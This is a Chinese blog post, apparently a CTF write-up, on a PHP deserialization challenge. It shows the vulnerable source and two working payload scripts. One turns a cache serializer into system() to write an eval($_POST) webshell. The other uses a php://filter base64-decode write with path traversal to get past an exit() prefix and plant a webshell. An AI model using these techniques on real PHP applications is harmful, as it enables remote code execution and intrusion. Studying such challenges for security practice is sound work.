[2020 新春红包题]1

作者: const27 分类: All,PHP自身缺陷或特性 发布时间: 2020-06-25 13:49

知识点:exit()逃逸,目录穿越

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {   //p1=》(1,2,3),p2=>(1,2,3)  1,2,3取交集
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);     //对cache变量进行过滤

        return json_encode([$cleaned, $this->complete]);   //json处理
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);  //调用set
    }

    public function __destruct() {  //出发点
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{  
        $this->writeTimes++;  //writetime变量自增

        if (is_null($expire)) {
            $expire = $this->options['expire'];  //expire空则取值options['exprie]
        }

        $expire = $this->getExpireTime($expire);   //expire int转型
        $filename = $this->getCacheKey($name);    //文件名重命名: options[prefix]/XXXXXXXX文件名且后缀名不能为php(phtml绕过?)

        $dir = dirname($filename);                 //得到options['prefix']

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);   //$value若是int则转型为string,且对其进行options['serialize']函数处理

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);   //字符串压缩(maybe有洞)
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;   //$data完全体
        $result = file_put_contents($filename, $data); //写入

        if ($result) {
            return $filename;
        }

        return null;
    }   //set方法结束

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

源码如上,是反序列化题

解法一:直接system执行json字符串

一个被单引号包围的字符串经过json_encode处理后依旧能被system执行

所以我们可以围绕这个关键点,让options[‘serialize’]为system函数去执行$value

payload

<?php
Class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache=['`echo \'<?php eval($_POST["a"]);?>\' > ./uploads/flagsss.php`'];
    public $complete;
    public function __construct()
    {
        $this->store=new B();
        $this->complete=1;
        $this->expire=1;
        $this->key=1;
    }
}

Class B{
    public $options=[
        'serialize'=>'system',
        'prefix'=>'123',
    ];
}


$a=new A();
echo(urlencode(serialize($a)));

解法二:php伪协议结合base64绕过exit()

目光聚焦到此处,我们在file_put_contents时,第一个参数选择使用php伪协议:
php://filter/write=convert.base64-decode/resource=./uploads/1.phtml(因为要求后缀不能为.php)即可,
然后就会把$data当作base64解码后再写入文件
所以我们写文件解码$data的时候,其实是 phpexit+$data里的payload(json的一些条条款款和php标签会被省略) 这样的形式来解码的.我们的$data肯定就是我们的shellcode,众所周知,base64是以4byte为一个单位加密的,所以我们要吧payload的部分分为新的几个单位(具体看payload)

以上是base64编码绕过exit()的部分
这个方法还要有目录穿越,以及利用PHP在做路径处理时会自动删除文件最后的/.

这个好绕
php://filter/write=convert.base64-decode/resource=./uploads/+uniqid()+/../1.php/.

你问我为什么不能大小写或其他php后缀名绕过?这个服务器似乎不能正常解析phP,phtml之类的后缀名…所以我就用的上面这个方法绕
payload

<?php
Class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache=['aaaPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7ID8+']; //如果不加aaa,要解密的字符串就会是" [["PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7ID8+"],1]".payload前有5个字符,所以我们要补三个字符让前面8个字符为两组单位,不会影响到我们的payload
    public $complete;
    public function __construct()
    {
        $this->store=new B();
        $this->complete=1;
        $this->expire=1 ;
        $this->key="/../shellss.php/.";
    }
}

Class B{
    public $options=[
        'serialize'=>'strval',
        'prefix'=>'php://filter/write=convert.base64-decode/resource=./uploads/',
    ];
}

echo urlencode(serialize(new A()));

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云